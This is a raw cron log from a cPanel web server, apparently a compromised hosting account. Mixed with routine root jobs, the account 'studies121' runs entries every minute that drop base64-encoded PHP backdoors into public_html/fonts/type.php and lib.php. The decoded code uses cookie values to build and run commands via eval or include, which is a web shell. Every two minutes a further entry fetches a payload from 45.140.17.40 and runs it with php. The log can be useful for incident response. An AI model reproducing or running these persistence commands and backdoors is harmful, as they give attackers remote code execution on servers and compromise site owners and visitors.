Feb 22 16:55:01 ip-184-168-122-23 CROND[5911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:55:01 ip-184-168-122-23 CROND[5916]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 16:55:01 ip-184-168-122-23 CROND[5918]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 16:55:01 ip-184-168-122-23 CROND[5914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:55:01 ip-184-168-122-23 CROND[5917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:56:01 ip-184-168-122-23 CROND[6290]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:56:01 ip-184-168-122-23 CROND[6294]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 16:56:01 ip-184-168-122-23 CROND[6292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:56:01 ip-184-168-122-23 CROND[6293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:56:01 ip-184-168-122-23 CROND[6295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:57:01 ip-184-168-122-23 CROND[6600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:57:01 ip-184-168-122-23 CROND[6602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:57:01 ip-184-168-122-23 CROND[6605]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:57:01 ip-184-168-122-23 CROND[6606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:58:01 ip-184-168-122-23 CROND[6996]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:58:01 ip-184-168-122-23 CROND[7000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:58:01 ip-184-168-122-23 CROND[7001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 16:58:01 ip-184-168-122-23 CROND[6998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:58:01 ip-184-168-122-23 CROND[6999]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 16:59:01 ip-184-168-122-23 CROND[7326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 16:59:01 ip-184-168-122-23 CROND[7328]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 16:59:01 ip-184-168-122-23 CROND[7327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 16:59:01 ip-184-168-122-23 CROND[7329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:00:02 ip-184-168-122-23 CROND[7634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:00:02 ip-184-168-122-23 CROND[7635]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 17:00:02 ip-184-168-122-23 CROND[7639]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 17:00:02 ip-184-168-122-23 CROND[7640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:00:02 ip-184-168-122-23 CROND[7641]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 17:00:02 ip-184-168-122-23 CROND[7638]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 17:00:02 ip-184-168-122-23 CROND[7642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:00:02 ip-184-168-122-23 CROND[7643]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:01:01 ip-184-168-122-23 CROND[7997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:01:01 ip-184-168-122-23 CROND[7999]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 17:01:01 ip-184-168-122-23 CROND[8004]: (root) CMD (run-parts /etc/cron.hourly)
Feb 22 17:01:01 ip-184-168-122-23 CROND[8003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:01:01 ip-184-168-122-23 CROND[8000]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:01:01 ip-184-168-122-23 CROND[8001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[8004]: starting 0anacron
Feb 22 17:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[8019]: finished 0anacron
Feb 22 17:02:01 ip-184-168-122-23 CROND[8336]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:02:01 ip-184-168-122-23 CROND[8339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:02:01 ip-184-168-122-23 CROND[8341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:02:01 ip-184-168-122-23 CROND[8340]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 17:02:01 ip-184-168-122-23 CROND[8342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:03:01 ip-184-168-122-23 CROND[8656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:03:01 ip-184-168-122-23 CROND[8659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:03:01 ip-184-168-122-23 CROND[8661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:03:01 ip-184-168-122-23 CROND[8662]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:04:01 ip-184-168-122-23 CROND[8969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:04:01 ip-184-168-122-23 CROND[8970]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 17:04:01 ip-184-168-122-23 CROND[8972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:04:01 ip-184-168-122-23 CROND[8971]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:04:01 ip-184-168-122-23 CROND[8973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:05:01 ip-184-168-122-23 CROND[9401]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 17:05:01 ip-184-168-122-23 CROND[9404]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:05:01 ip-184-168-122-23 CROND[9405]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 17:05:01 ip-184-168-122-23 CROND[9406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:05:01 ip-184-168-122-23 CROND[9410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:05:01 ip-184-168-122-23 CROND[9409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:05:01 ip-184-168-122-23 CROND[9414]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 17:06:01 ip-184-168-122-23 CROND[9763]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:06:01 ip-184-168-122-23 CROND[9766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:06:01 ip-184-168-122-23 CROND[9768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:06:01 ip-184-168-122-23 CROND[9767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:06:01 ip-184-168-122-23 CROND[9765]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 17:07:01 ip-184-168-122-23 CROND[10112]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
